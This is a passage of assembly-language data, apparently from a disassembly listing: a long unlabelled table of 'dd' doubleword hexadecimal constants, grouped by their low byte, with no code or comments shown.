		dd 21E0C9D0h, 0C88CBD0h, 2C9CBD0h, 24ECDD0h, 34ECDD0h
		dd 6443CFD0h, 6B2FD0D0h, 6C2FD0D0h, 0A0A15D0h, 27015D0h
		dd 1B715D0h, 2B715D0h, 10B915D0h, 22BE15D0h, 23BE15D0h
		dd 0A9DD15D0h, 0D2E715D0h, 51B15D0h, 0A2E15D0h,	193715D0h
		dd 0B3C15D0h, 9015D6D0h, 0AD3D9D0h, 3AE216D0h, 28C0DCD0h
		dd 3A6DFD0h, 2E2E1D0h, 2EFE1D0h, 0B9E4E4D0h, 0E5E6E5D0h
		dd 0A7017D0h, 27017D0h,	147617D0h, 87617D0h, 29017D0h
		dd 0FDD417D0h, 1F4E6D0h, 0C60E7D0h, 0BA0EBD0h, 48A0EBD0h
		dd 0AF8EBD0h, 6F8EBD0h,	0A60EBD0h, 343ECD0h, 323EDD0h
		dd 266EED0h, 15E2EFD0h,	864EEFD0h, 250EFD0h, 30CF2D0h
		dd 30EF2D0h, 8AD0F2D0h,	325F2D0h, 425F2D0h, 0D220F8D0h
		dd 76819D0h, 54419D0h, 9BC8FFD0h, 9CC8FFD0h, 0ACE1AD0h
		dd 0A001BD0h, 45751CD0h, 0AE81CD0h, 0C221CD0h, 0D221CD0h
		dd 2C21DD0h, 25803D0h, 75803D0h, 2BD1ED0h, 4BD1ED0h, 73691FD0h
		dd 0A6B1FD0h, 16D1FD0h,	27B1FD0h, 2801FD0h, 3801FD0h, 28E1FD0h
		dd 29C1FD0h, 1A01FD0h, 2A01FD0h, 5A31FD0h, 2AE1FD0h, 0FEB01FD0h
		dd 2B71FD0h, 4D61FD0h, 5FE1FD0h, 7FE1FD0h, 35321FD0h, 2421FD0h
		dd 645B1FD0h, 3631FD0h,	0ACB21D0h, 0BCB21D0h, 21D21D0h
		dd 31D21D0h, 24322D0h, 35B22D0h, 2C923D0h, 3C923D0h, 53C04D0h
		dd 19862CD0h, 19902DD0h, 19922DD0h, 0C2712ED0h,	0B3732D0h
		dd 2F0033D0h, 510033D0h, 826833D0h, 0CF833D0h, 20833D0h
		dd 30833D0h, 325B37D0h,	335B37D0h, 0A0039D0h, 0B0039D0h
		dd 126239D0h, 7C73BD0h,	8C73BD0h, 0AE806D0h, 0CE806D0h
		dd 0AE906D0h, 3EE06D0h,	6EE06D0h, 6C03DD0h, 0AE33DD0h
		dd 9A53ED0h, 24F07D0h, 44F07D0h, 0EA0A01D1h, 0A7D01D1h
		dd 640D01D1h, 0ADD01D1h, 0F4DE01D1h, 0F5DE01D1h, 0F6DE01D1h
		dd 0F7DE01D1h, 0C41701D1h, 78EB01D1h, 231C01D1h, 2B1C01D1h
		dd 2E1C01D1h, 323901D1h, 646301D1h, 44C60AD1h, 37220AD1h
		dd 37420AD1h, 126464D1h, 226464D1h, 1AB64D1h, 0AD7765D1h
		dd 48265D1h, 58265D1h, 2A465D1h, 0FE1165D1h, 9EC065D1h
		dd 2C065D1h, 15365D1h, 25365D1h, 22469D1h, 2C871D1h, 3C871D1h
		dd 829873D1h, 969873D1h, 1A5D73D1h, 26874D1h, 0A5C77D1h
		dd 6A200CD1h, 87210CD1h, 0B090CD1h, 0E090CD1h, 2027CD1h
		dd 0CCB7CD1h, 0DCB7CD1h, 1007ED1h, 12007FD1h, 13007FD1h
		dd 0F3817FD1h, 0F5817FD1h, 40180D1h, 2E080D1h, 2E880D1h
		dd 38081D1h, 0ABB82D1h,	3F2082D1h, 0C9D883D1h, 0CAD883D1h
		dd 1EE083D1h, 1FE083D1h, 0F2083D1h, 102083D1h, 0D16083D1h
		dd 0B6183D1h, 2C085D1h,	0A1585D1h, 0AA186D1h, 26387D1h
		dd 36387D1h, 99D89D1h, 2E08CD1h, 5E08CD1h, 6E08CD1h, 36B8DD1h
		dd 46B8DD1h, 8DD8DD1h, 2E48DD1h, 3E48DD1h, 14F88DD1h, 3FC8DD1h
		dd 4048DD1h, 1308DD1h, 0FA558DD1h, 0FE558DD1h, 2638DD1h
		dd 0A008FD1h, 50C18FD1h, 1020FD1h, 2020FD1h, 1E8096D1h
		dd 38196D1h, 28A096D1h,	2AA096D1h, 0A0097D1h, 18197D1h
		dd 8E8197D1h, 33A097D1h, 34A097D1h, 0AC097D1h, 0AC197D1h
		dd 3EE097D1h, 3EE897D1h, 52C69AD1h, 56C69AD1h, 35159CD1h
		dd 0B669DD1h, 2AD310D1h, 200A0D1h, 503A0D1h, 207A0D1h
		dd 12A0A1D1h, 14A0A1D1h, 1DAFA1D1h, 2CAFA1D1h, 84A0A6D1h
		dd 24A0A6D1h, 2DA0A6D1h, 2EA0A6D1h, 2C2A6D1h, 3C2A6D1h
		dd 340A6D1h, 141A6D1h, 0D77A7D1h, 0ABCA7D1h, 12C511D1h
		dd 2C511D1h, 2D8AAD1h, 3D8AAD1h, 9D8AAD1h, 0E30ABD1h, 1C35ABD1h
		dd 1D35ABD1h, 0A36ABD1h, 0B36ABD1h, 0A3AABD1h, 0C3AABD1h
		dd 8309ABD1h, 2C0ACD1h,	16C0ACD1h, 17C0ACD1h, 19C0ACD1h
		dd 1AC0ACD1h, 2C2ACD1h,	12B3B3D1h, 1EE12D1h, 0BDE6B4D1h
		dd 0FEE6B4D1h, 531B5D1h, 13FB5D1h, 73FB5D1h, 580B6D1h
		dd 4DC3B6D1h, 0A20B6D1h, 0C6EB8D1h, 106EB8D1h, 19C0B8D1h
		dd 4482B9D1h, 0FA2B9D1h, 10A2B9D1h, 260BCD1h, 360BCD1h
		dd 100BFD1h, 200BFD1h, 376BFD1h, 476BFD1h, 4181BFD1h, 97A2BFD1h
		dd 48C7BFD1h, 49C7BFD1h, 203C0D1h, 0F51EC1D1h, 0F81EC1D1h
		dd 704C1D1h, 804C1D1h, 2834C3D1h, 436C4D1h, 140C5D1h, 2857C6D1h
		dd 14AC9D1h, 0FCC1CAD1h, 0FDC1CAD1h, 8DCCAD1h, 37DDCAD1h
		dd 0FDE0CAD1h, 0AE4CAD1h, 2DBCBD1h, 0B4B4D1D1h,	0B6B4D1D1h
		dd 26B4D1D1h, 4B615D1h,	0B5815D1h, 0C5815D1h, 0AC7D3D1h
		dd 14EDD3D1h, 5EFD3D1h,	118CD5D1h, 0FD8FD5D1h, 7EDFD5D1h
		dd 20AED7D1h, 0E613D9D1h, 4E0D9D1h, 6E0D9D1h, 4240DAD1h
		dd 4DD1DBD1h, 0E7816D1h, 62B116D1h, 180DDD1h, 280DDD1h
		dd 2CDDDD1h, 3CDDDD1h, 0A55DFD1h, 555DFD1h, 1814E0D1h
		dd 2A08E1D1h, 0ECAFE2D1h, 40FE4D1h, 2B417D1h, 4B417D1h
		dd 21AEBD1h, 436EBD1h, 8080ECD1h, 8180ECD1h, 51BECD1h
		dd 32B8EED1h, 33B8EED1h, 3209EED1h, 3309EED1h, 0C92FEFD1h
		dd 0FC2FEFD1h, 240EFD1h, 1A42EFD1h, 460EFD1h, 760EFD1h
		dd 299518D1h, 2A9518D1h, 6DD118D1h, 1E0F0D1h, 28E0F0D1h
		dd 1FEF0D1h, 227CF1D1h,	287CF1D1h, 20DF1D1h, 30DF1D1h
		dd 0FC84F1D1h, 0FD84F1D1h, 287F1D1h, 218FF1D1h,	293F1D1h
		dd 393F1D1h, 29BF1D1h, 4B8F1D1h, 5B8F1D1h, 2BBF1D1h, 7BD5F1D1h
		dd 7ED5F1D1h, 2DAF1D1h,	3DAF1D1h, 79EAF1D1h, 59EAF1D1h
		dd 0AF0F1D1h, 61AF1D1h,	263F1D1h, 100F4D1h, 200F4D1h, 83C0F4D1h
		dd 0C3C0F4D1h, 1405F4D1h, 1505F4D1h, 5405F4D1h,	5505F4D1h
		dd 0AE7BF6D1h, 390FF6D1h, 8800FAD1h, 340FAD1h, 66CFBD1h
		dd 0A81FBD1h, 881FBD1h,	981FBD1h, 4A7FBD1h, 5A7FBD1h, 6602FBD1h
		dd 6702FBD1h, 13D0FBD1h, 14D0FBD1h, 1E0FBD1h, 6E0FBD1h
		dd 221FBD1h, 523FBD1h, 0FC40FBD1h, 260FBD1h, 360FBD1h
		dd 0AB21AD1h, 9B21AD1h,	0E3B51AD1h, 33341BD1h, 0E9DA03D1h
		dd 64001ED1h, 9001ED1h,	2B901FD1h, 0A4022D1h, 84022D1h
		dd 0F08A25D1h, 1D2325D1h, 821D04D1h, 21D04D1h, 14028D1h
		dd 24028D1h, 63AA29D1h,	64B829D1h, 0D1F29D1h, 424029D1h
		dd 434029D1h, 444029D1h, 454029D1h, 0A932BD1h, 30932BD1h
		dd 26B52BD1h, 478C2DD1h, 7C82DD1h, 9C82DD1h, 7C82ED1h
		dd 7F12ED1h, 13F2ED1h, 63F2ED1h, 0A892FD1h, 1D830D1h, 0A0531D1h
		dd 662732D1h, 662832D1h, 0A8033D1h, 0F8033D1h, 2A033D1h
		dd 56A133D1h, 66B433D1h, 0F1F033D1h, 0F2F033D1h, 23033D1h
		dd 33033D1h, 0A0633D1h,	8B9334D1h, 1AD34D1h, 2C834D1h
		dd 3C834D1h, 1BA35D1h, 2D735D1h, 2D835D1h, 22A36D1h, 0A6E38D1h
		dd 26E38D1h, 1CF38D1h, 2A139D1h, 2C03ED1h, 2003FD1h, 15E3FD1h
		dd 6A843D1h, 6CF43D1h, 0C71543D1h, 0D31543D1h, 0DC3243D1h
		dd 0F13243D1h, 0FD3243D1h, 0FE3243D1h, 0B0144D1h, 78044D1h
		dd 2EB4CD1h, 2954DD1h, 24D4ED1h, 0ABE4FD1h, 0FBE4FD1h
		dd 0A4308D1h, 10951D1h,	320951D1h, 826051D1h, 316051D1h
		dd 0B6452D1h, 0C6452D1h, 0A7F52D1h, 19053D1h, 23A253D1h
		dd 6DA054D1h, 6EA054D1h, 71A054D1h, 1B154D1h, 65B654D1h
		dd 67B654D1h, 6FB654D1h, 70B654D1h, 0BFD54D1h, 0CFD54D1h
		dd 62754D1h, 0A5454D1h,	0B5454D1h, 0FE6154D1h, 20155D1h
		dd 464057D1h, 0E84F57D1h, 0A805BD1h, 2C45BD1h, 6C45BD1h
		dd 0A285ED1h, 9285ED1h,	0A3D61D1h, 16262D1h, 0D8065D2h
		dd 38F65D2h, 29165D2h, 65A065D2h, 2B665D2h, 5C065D2h, 3C165D2h
		dd 1D066D2h, 2D766D2h, 257D73D2h, 357D73D2h, 7C073D2h
		dd 1FE74D2h, 644175D2h,	24175D2h, 3E0079D2h, 656F79D2h
		dd 0D207BD2h, 2D0182D2h, 2E0182D2h, 2F0182D2h, 0E20A83D2h
		dd 10C83D2h, 20C83D2h, 0FDB183D2h, 2CA83D2h, 2D083D2h
		dd 1D383D2h, 2EC83D2h, 820783D2h, 30883D2h, 20983D2h, 815B84D2h
		dd 825B84D2h, 3D586D2h,	82B687D2h, 2B687D2h, 396B88D2h
		dd 1F58AD2h, 0C3278AD2h, 0C4278AD2h, 410A8DD2h,	0C26C8DD2h
		dd 0E26C8DD2h, 0E76C8DD2h, 0A808DD2h, 0D808DD2h, 2FE08DD2h
		dd 30E08DD2h, 2E58DD2h,	1E88DD2h, 1EA8DD2h, 1F48DD2h, 7F48DD2h
		dd 0EFB8DD2h, 1BFD8DD2h, 0AFE8DD2h, 12C8DD2h, 22E8DD2h
		dd 1F438DD2h, 21458DD2h, 29458DD2h, 164D8DD2h, 82098DD2h
		dd 83098DD2h, 6408FD2h,	0A1418FD2h, 0A3418FD2h,	629C91D2h
		dd 21291D2h, 351291D2h,	26FE91D2h, 6E0891D2h, 14292D2h
		dd 0D1F093D2h, 10095D2h, 420895D2h, 213C96D2h, 223C96D2h
		dd 0A0A97D2h, 26497D2h,	36597D2h, 46597D2h, 26697D2h, 16997D2h
		dd 16A97D2h, 486A97D2h,	346C97D2h, 26D97D2h, 790B97D2h
		dd 0E47297D2h, 0E57297D2h, 17497D2h, 0D97897D2h, 17D97D2h
		dd 27E97D2h, 418097D2h,	428097D2h, 0E1A397D2h, 3AE97D2h
		dd 11897D2h, 101897D2h,	0FD1D97D2h, 11E97D2h, 22097D2h
		dd 22397D2h, 12897D2h, 12A97D2h, 13297D2h, 23297D2h, 23397D2h
		dd 0A3B97D2h, 0B3B97D2h, 54097D2h, 64097D2h, 0B4497D2h
		dd 44897D2h, 0A4997D2h,	14C97D2h, 0C15797D2h, 0C25797D2h
		dd 0B5897D2h, 0C5897D2h, 15F97D2h, 226097D2h, 0C22E9AD2h
		dd 6809BD2h, 6949BD2h, 7E09DD2h, 11009ED2h, 7C39ED2h, 82189ED2h
		dd 83189ED2h, 2409ED2h,	22019FD2h, 32019FD2h, 32E9FD2h
		dd 0E2099FD2h, 6595A0D2h, 2226A0D2h, 2626A0D2h,	0A26AA1D2h
		dd 682A1D2h, 0A84A1D2h,	390A1D2h, 394A1D2h, 810FA1D2h
		dd 196A1D2h, 6398A1D2h,	399A1D2h, 19BA1D2h, 0A10A1D2h
		dd 0B10A1D2h, 0AA0A1D2h, 0CA0A1D2h, 5A8A1D2h, 2A9A1D2h
		dd 0BABA1D2h, 1ACA1D2h,	1AFA1D2h, 7B1A1D2h, 8B1A1D2h, 15B3A1D2h
		dd 212A1D2h, 213A1D2h, 102A1D2h, 5002A1D2h, 52E5A1D2h
		dd 417A1D2h, 517A1D2h, 11BA1D2h, 2123A1D2h, 227A1D2h, 204A1D2h
		dd 228A1D2h, 0C92BA1D2h, 152CA1D2h, 0A2DA1D2h, 152EA1D2h
		dd 0A2FA1D2h, 1530A1D2h, 1433A1D2h, 0A34A1D2h, 536A1D2h
		dd 138A1D2h, 238A1D2h, 2200A2D2h, 0AB6A2D2h, 0C216A2D2h
		dd 8249A4D2h, 691A6D2h,	2B0A6D2h, 0E1E7A6D2h, 8220A6D2h
		dd 0C220A6D2h, 4620A7D2h, 4820A7D2h, 2DEA8D2h, 84AAA9D2h
		dd 8235A9D2h, 7B56A9D2h, 10111D2h, 269AAD2h, 2100ABD2h
		dd 2200ABD2h, 164ABD2h,	0F66CABD2h, 0B6EABD2h, 277ABD2h
		dd 1D80ABD2h, 380ABD2h,	1E80ABD2h, 185ABD2h, 510ABD2h
		dd 3A0ABD2h, 2C0ABD2h, 2C2ABD2h, 2C9ABD2h, 66E1ABD2h, 46E1ABD2h
		dd 317ABD2h, 242ABD2h, 7040ACD2h, 247ADD2h, 1BFAED2h, 3C0AFD2h
		dd 0A232AFD2h, 0A332AFD2h, 4562B4D2h, 4AFBCD2h,	110BDD2h
		dd 15D3BDD2h, 3D3BDD2h,	600BFD2h, 9764BFD2h, 9864BFD2h
		dd 26CBFD2h, 16EBFD2h, 0FC78BFD2h, 650EBFD2h, 20EBFD2h
		dd 112BFD2h, 113BFD2h, 2C2BFD2h, 82C5BFD2h, 2C5BFD2h, 114BFD2h
		dd 0ACDBFD2h, 216BFD2h,	0A17BFD2h, 218BFD2h, 11CBFD2h
		dd 31CBFD2h, 0C907BFD2h, 147BFD2h, 247BFD2h, 248BFD2h
		dd 149BFD2h, 2A4BBFD2h,	24DBFD2h, 34EBFD2h, 8208BFD2h
		dd 350BFD2h, 151BFD2h, 152BFD2h, 253BFD2h, 355BFD2h, 160BFD2h
		dd 1448C5D2h, 1548C5D2h, 62DFC7D2h, 11FC9D2h, 101D7D2h
		dd 102D7D2h, 180DDD2h, 280DDD2h, 0D285E0D2h, 0DB85E0D2h
		dd 521EE1D2h, 0E29AE2D2h, 0DA06E2D2h, 0FE78E4D2h, 19FE4D2h
		dd 0AA0E4D2h, 0BA0E4D2h, 0CA0E5D2h, 0DA0E5D2h, 52A8E5D2h
		dd 140E5D2h, 240E5D2h, 1FDE6D2h, 8564E7D2h, 564E7D2h, 0CB68E7D2h
		dd 8269E7D2h, 16CE7D2h,	26CE7D2h, 0FC6EE7D2h, 0A70E7D2h
		dd 0B70E7D2h, 271E7D2h,	181E7D2h, 0C8AAE7D2h, 82DCE7D2h
		dd 25CE7D2h, 0C961E7D2h, 923EBD2h, 0A09EED2h, 197F0D2h
		dd 0C9C0F1D2h, 0CAC0F1D2h, 55EEF1D2h, 147F1D2h,	2149F1D2h
		dd 0C84BF1D2h, 14FF1D2h, 7DE5F3D2h, 0A8BF4D2h, 0F284F8D2h
		dd 2A8F8D2h, 32C0FAD2h,	421FFAD2h, 26FFBD2h, 12A0FBD2h
		dd 82C0FBD2h, 84C0FBD2h, 424DFBD2h, 0A50FBD2h, 255FBD2h
		dd 1A25FDD2h, 0A2BFDD2h, 0B2BFDD2h, 8230FDD2h, 8330FDD2h
		dd 24BFED2h, 0A001FD2h,	4641FD2h, 6681FD2h, 7681FD2h, 0A781FD2h
		dd 0D781FD2h, 1801FD2h,	8A01FD2h, 4C71FD2h, 8D01FD2h, 8201FD2h
		dd 423D1FD2h, 4601FD2h,	5601FD2h, 331033D2h, 341033D2h
		dd 29534D2h, 2CF34D2h, 7AD434D2h, 21F35D2h, 0EC6937D2h
		dd 0BE43BD2h, 2E53BD2h,	0FD653DD2h, 1693DD2h, 16E3DD2h
		dd 2723DD2h, 6733DD2h, 17E3DD2h, 1823DD2h, 1833DD2h, 1873DD2h
		dd 1883DD2h, 0F1893DD2h, 228F3DD2h, 2953DD2h, 0FD9F3DD2h
		dd 1A43DD2h, 1A63DD2h, 2B23DD2h, 2B63DD2h, 1BA3DD2h, 1BC3DD2h
		dd 1D03DD2h, 1D13DD2h, 0E2D73DD2h, 6FE43DD2h, 0FDE83DD2h
		dd 0AEA3DD2h, 1F63DD2h,	2F63DD2h, 0B253DD2h, 1313DD2h
		dd 19493DD2h, 1523DD2h,	0A553DD2h, 1583DD2h, 15C3FD2h
		dd 25C3FD2h, 8B3740D2h,	909242D2h, 24545D2h, 14945D2h
		dd 16647D2h, 46647D2h, 16D47D2h, 17047D2h, 17647D2h, 17A47D2h
		dd 1AA47D2h, 1B047D2h, 0FAB347D2h, 82DA47D2h, 0FCDD47D2h
		dd 31847D2h, 1F047D2h, 8F147D2h, 9F147D2h, 12647D2h, 3C0447D2h
		dd 0A22C47D2h, 13047D2h, 13547D2h, 13847D2h, 13E47D2h
		dd 34047D2h, 14747D2h, 24947D2h, 14A47D2h, 14D47D2h, 34D47D2h
		dd 14E47D2h, 24E47D2h, 0FC5047D2h, 0FD5B47D2h, 0FD6347D2h
		dd 12C08D2h, 623A50D2h,	13C50D2h, 23C50D2h, 813E50D2h
		dd 913E50D2h, 0C7051D2h, 59D51D2h, 261251D2h, 121851D2h
		dd 215751D2h, 0A34A09D2h, 7005ED2h, 58E062D2h, 59E062D2h
		dd 26501D3h, 716701D3h,	16C01D3h, 27101D3h, 27201D3h, 27401D3h
		dd 27501D3h, 27601D3h, 37601D3h, 667C01D3h, 677C01D3h
		dd 29001D3h, 29301D3h, 39301D3h, 29401D3h, 39401D3h, 29501D3h
		dd 3A001D3h, 4A001D3h, 61C001D3h, 62C001D3h, 0ACB01D3h
		dd 0DCB01D3h, 12801D3h,	82801D3h, 44A20AD3h, 2AFD0AD3h
		dd 0B11A0AD3h, 0C920BD3h, 1600BD3h, 0CCD06FD3h,	0CFD06FD3h
		dd 10E72D3h, 0E7DE73D3h, 24E078D3h, 0A9007CD3h,	0C3007CD3h
		dd 82F87ED3h, 636080D3h, 29DF85D3h, 1AF0FD3h, 623A0FD3h
		dd 86ACABD3h, 2DAC2D3h,	17815D3h, 3ABC15D3h, 0EC0815D3h
		dd 9632D8D3h, 0A032D8D3h, 213516D3h, 833417D3h,	36DECD3h
		dd 0B2BFED3h, 1C024D3h,	2C024D3h, 210429D3h, 220429D3h
		dd 1802FD3h, 2802FD3h, 172D2FD3h, 0D90105D3h, 0C3ED3DD3h
		dd 332B3FD3h, 22A047D3h, 23A047D3h, 0BCBC47D3h,	19151D3h
		dd 59151D3h, 0C89951D3h, 21051D3h, 31051D3h, 3D851D3h
		dd 1E051D3h, 37801D4h, 0FC7A01D4h, 27C01D4h, 288001D4h
		dd 2A8001D4h, 0A0065D4h, 46C065D4h, 47C065D4h, 332065D4h
		dd 332765D4h, 0FD0465D4h, 2C169D4h, 4BC86CD4h, 0A2226DD4h
		dd 1A800BD4h, 0C85F0BD4h, 22C06FD4h, 23C06FD4h,	26206FD4h
		dd 28306FD4h, 29306FD4h, 0AA336FD4h, 84406FD4h,	0F34C6FD4h
		dd 10071D4h, 20071D4h, 0A4671D4h, 0C1C073D4h, 0C3C073D4h
		dd 0CC4278D4h, 0C20079D4h, 0DB0079D4h, 18079D4h, 28079D4h
		dd 58279D4h, 1C079D4h, 22C079D4h, 22479D4h, 2017AD4h, 0A807AD4h
		dd 0A817AD4h, 64647BD4h, 64607BD4h, 29C87ED4h, 40081D4h
		dd 29B83D4h, 39B83D4h, 2A083D4h, 6A883D4h, 7A883D4h, 2A1E83D4h
		dd 2B1E83D4h, 3808BD4h,	82818BD4h, 2410ED4h, 0FDF68CD4h
		dd 0FEF68CD4h, 1988DD4h, 4A88DD4h, 50BE8DD4h, 51BE8DD4h
		dd 7DB8DD4h, 0FEE88DD4h, 21F8DD4h, 13D8DD4h, 0C548DD4h
		dd 421C8ED4h, 610491D4h, 620491D4h, 0A0092D4h, 0B0092D4h
		dd 26F9BD4h, 1A89BD4h, 61C39BD4h, 14049CD4h, 4049CD4h
		dd 8C09FD4h, 9C09FD4h, 6600A4D4h, 22011D4h, 236B5D4h, 336B5D4h
		dd 423FB6D4h, 13B9B9D4h, 2208BCD4h, 28A1BFD4h, 5A5BFD4h
		dd 2A8BFD4h, 22C0BFD4h,	6C8BFD4h, 221BFD4h, 0A40BFD4h
		dd 241BFD4h, 243BFD4h, 0A46BFD4h, 346BFD4h, 447BFD4h, 4201C6D4h
		dd 7E0014D4h, 0FE9E14D4h, 0FE9F14D4h, 4612C9D4h, 4712C9D4h
		dd 1118C9D4h, 1B9D0D4h,	1DAD0D4h, 0C9DED0D4h, 0CADED0D4h
		dd 1E5D0D4h, 117D0D4h, 20015D4h, 90015D4h, 837915D4h, 857915D4h
		dd 40A115D4h, 11A215D4h, 3E015D4h, 4E015D4h, 224015D4h
		dd 24115D4h, 300DAD4h, 340DAD4h, 0C839DBD4h, 105DFD4h
		dd 1E2E2D4h, 258E9D4h, 0F1EBEAD4h, 0DD4ECD4h, 0ED4ECD4h
		dd 228F2D4h, 3228F2D4h,	429EF5D4h, 2FFF5D4h, 9D11F9D4h
		dd 9E11F9D4h, 377FCD4h,	477FCD4h, 2E01FD4h, 3E01FD4h, 3F41FD4h
		dd 0A0FD1FD4h, 64561FD4h, 64581FD4h, 0A02021D4h, 53721D4h
		dd 2FA22D4h, 8FA22D4h, 0A0028D4h, 320528D4h, 0E40229D4h
		dd 6D029D4h, 7D029D4h, 8D029D4h, 10429D4h, 420429D4h, 214029D4h
		dd 214429D4h, 2F22AD4h,	0BAC2DD4h, 462C30D4h, 418031D4h
		dd 428031D4h, 0E4205D4h, 0A0032D4h, 0F0032D4h, 410033D4h
		dd 440033D4h, 1A033D4h,	2A033D4h, 2C033D4h, 5C033D4h, 0F2C833D4h
		dd 43CF33D4h, 6A2133D4h, 80F3DD4h, 0E2193DD4h, 21A3DD4h
		dd 221A3DD4h, 0FA0A3FD4h, 0FA0B3FD4h, 0D4803FD4h, 6C141D4h
		dd 0D2F241D4h, 282043D4h, 412043D4h, 0A28007D4h, 20047D4h
		dd 30047D4h, 0C8047D4h,	88047D4h, 98047D4h, 68547D4h, 229C47D4h
		dd 0C4047D4h, 0D4047D4h, 834453D4h, 3BC056D4h, 0CC156D4h
		dd 0C4057D4h, 0B5757D4h, 20059D4h, 50059D4h, 3C05BD4h
		dd 22E75BD4h, 5205BD4h,	6205BD4h, 3615BD4h, 4615BD4h, 458161D4h
		dd 0FD660BD5h, 0D26F0BD5h, 1750BD5h, 2750BD5h, 17B0BD5h
		dd 0A890BD5h, 18E0BD5h,	0B4950BD5h, 0B5950BD5h,	0C9A00BD5h
		dd 1AC0BD5h, 2C280D5h, 222083D5h, 232083D5h, 24083D5h
		dd 34083D5h, 47C08DD5h,	2C48DD5h, 0E1198DD5h, 0E2198DD5h
		dd 240B2D5h, 8180B5D5h,	100B7D5h, 0C23CC2D5h, 0E23CC2D5h
		dd 28D15D5h, 2A415D5h, 143D7D5h, 33EDBD5h, 121EBD5h, 1A919D5h
		dd 25024D5h, 45024D5h, 7F8228D5h, 1C028D5h, 7F4228D5h
		dd 618133D5h, 0A14C39D5h, 0A14D39D5h, 0BEE3BD5h, 26A3DD5h
		dd 2633DD5h, 82044AD5h,	83044AD5h, 10057D5h, 10157D5h
		dd 81025BD5h, 81055BD5h, 1B6603D6h, 13203D6h, 0A6B00D8h
		dd 146B00D8h, 0A9800D8h, 53B701D8h, 2C001D8h, 4C001D8h
		dd 25A01D8h, 96064D8h, 337765D8h, 347765D8h, 0ACA65D8h
		dd 2D665D8h, 2F365D8h, 821E65D8h, 851E65D8h, 0FD2B65D8h
		dd 35065D8h, 25365D8h, 0F95F65D8h, 28067D8h, 0A6068D8h
		dd 0B6068D8h, 33A869D8h, 5CE69D8h, 17006BD8h, 3006BD8h
		dd 16800BD8h, 4D00BD8h,	325C0BD8h, 0C78D6FD8h, 2B26FD8h
		dd 3B26FD8h, 3B46FD8h, 2B86FD8h, 3B86FD8h, 0FCA6FD8h, 0D9416FD8h
		dd 0FC072D8h, 0A8073D8h, 218073D8h, 0A5373D8h, 0C5373D8h
		dd 26074D8h, 36074D8h, 0A000CD8h, 14000CD8h, 17300CD8h
		dd 42E079D8h, 0A2079D8h, 0CD2079D8h, 1A6079D8h,	29807ED8h
		dd 0FB887ED8h, 1BDA7FD8h, 1EDA7FD8h, 20C181D8h,	21C181D8h
		dd 51E81D8h, 81E81D8h, 23081D8h, 535A81D8h, 0A000DD8h
		dd 2880DD8h, 64190DD8h,	3200DD8h, 4200DD8h, 2340DD8h, 3340DD8h
		dd 5060DD8h, 2090DD8h, 3090DD8h, 0C0083D8h, 0C0483D8h
		dd 145F83D8h, 0CDBA84D8h, 0CF985D8h, 0E29E87D8h, 0E39E87D8h
		dd 88C088D8h, 135F88D8h, 35F88D8h, 535F88D8h, 95CA8BD8h
		dd 0A5D58BD8h, 2ADC8BD8h, 0A0A0ED8h, 0C0A0ED8h,	148C8CD8h
		dd 158C8CD8h, 0B8D8CD8h, 0FC108CD8h, 0FE108CD8h, 0FC118CD8h
		dd 0FE118CD8h, 1C7B8DD8h, 0A988DD8h, 42BC8DD8h,	1BE8DD8h
		dd 11BE8DD8h, 2188DD8h,	3188DD8h, 26278DD8h, 27278DD8h
		dd 96048DD8h, 0A0048DD8h, 0A058DD8h, 7058DD8h, 6F418DD8h
		dd 2078DD8h, 0FE078DD8h, 1088DD8h, 2088DD8h, 3508FD8h
		dd 41B891D8h, 42B891D8h, 24191D8h, 34191D8h, 34692D8h
		dd 44692D8h, 1DE294D8h,	4E1297D8h, 1C097D8h, 0A81A98D8h
		dd 9D2298D8h, 2029CD8h,	3029CD8h, 0D14C9FD8h, 2206A0D8h
		dd 2207A0D8h, 17CA1D8h,	27CA1D8h, 37CA1D8h, 18DA1D8h, 220A1D8h
		dd 222A1D8h, 422A1D8h, 224A1D8h, 3C38A1D8h, 14BA1D8h, 24BA1D8h
		dd 1378A3D8h, 1578A3D8h, 0CEE0A8D8h, 0CFE0A8D8h, 0A2EA8D8h
		dd 240A8D8h, 0CE8B11D8h, 2E4AAD8h, 0BA7ABD8h, 0CA7ABD8h
		dd 53C0ABD8h, 54C1ABD8h, 2C8ACD8h, 0A11AFD8h, 725CB2D8h
		dd 625CB2D8h, 50EFB3D8h, 67AB4D8h, 0AC0B4D8h, 663B4D8h
		dd 201B5D8h, 202B5D8h, 1A27B5D8h, 251B5D8h, 0E601B6D8h
		dd 0E701B6D8h, 0C277B7D8h, 0C377B7D8h, 25FB8D8h, 35FB8D8h
		dd 0B604BAD8h, 0CA04BAD8h, 56EBBD8h, 56FBBD8h, 28CBED8h
		dd 0B93BFD8h, 2A5BFD8h,	3A5BFD8h, 1ABBFD8h, 2ABBFD8h, 5B7BFD8h
		dd 2F0BFD8h, 6536BFD8h,	8C0C2D8h, 5A002D8h, 111C14D8h
		dd 913F14D8h, 933F14D8h, 56214D8h, 4091C8D8h, 8CCEC8D8h
		dd 644C8D8h, 2160C9D8h,	2260C9D8h, 0EC1CAD8h, 2100CCD8h
		dd 2300CCD8h, 289CDD8h,	389CDD8h, 1954CFD8h, 0FE5ACFD8h
		dd 0A2B1D0D8h, 8226D0D8h, 4260D0D8h, 18015D8h, 18115D8h
		dd 120615D8h, 0F4015D8h, 104015D8h, 114015D8h, 5A0D3D8h
		dd 2C0D3D8h, 6C0D3D8h, 6B00D5D8h, 6C00D5D8h, 8324D5D8h
		dd 3381D9D8h, 3481D9D8h, 282DAD8h, 3A82DAD8h, 283DAD8h
		dd 0D3FDDBD8h, 0AFEDBD8h, 6FA2DDD8h, 51A2DDD8h,	96CDDDD8h
		dd 5D2DDD8h, 83F0DDD8h,	85F0DDD8h, 260DDD8h, 0DC60DDD8h
		dd 1540E2D8h, 6400E3D8h, 3270E3D8h, 1438E3D8h, 6A0E4D8h
		dd 7A0E4D8h, 9300E7D8h,	0E6FE7D8h, 280E7D8h, 480E7D8h
		dd 0AA0E7D8h, 2A0E7D8h,	1329E7D8h, 1629E7D8h, 4E7EAD8h
		dd 1FEAEAD8h, 0C9E3ECD8h, 0A00EED8h, 0B00EED8h,	1100EED8h
		dd 3462EED8h, 3562EED8h, 9A40EFD8h, 9B40EFD8h, 26AF0D8h
		dd 46AF0D8h, 480F0D8h, 212AF0D8h, 6206F0D8h, 8500F1D8h
		dd 9700F1D8h, 284F1D8h,	384F1D8h, 4A1F1D8h, 5A1F1D8h, 0A40F1D8h
		dd 0B40F1D8h, 200F2D8h,	300F2D8h, 64C0F9D8h, 164FBD8h
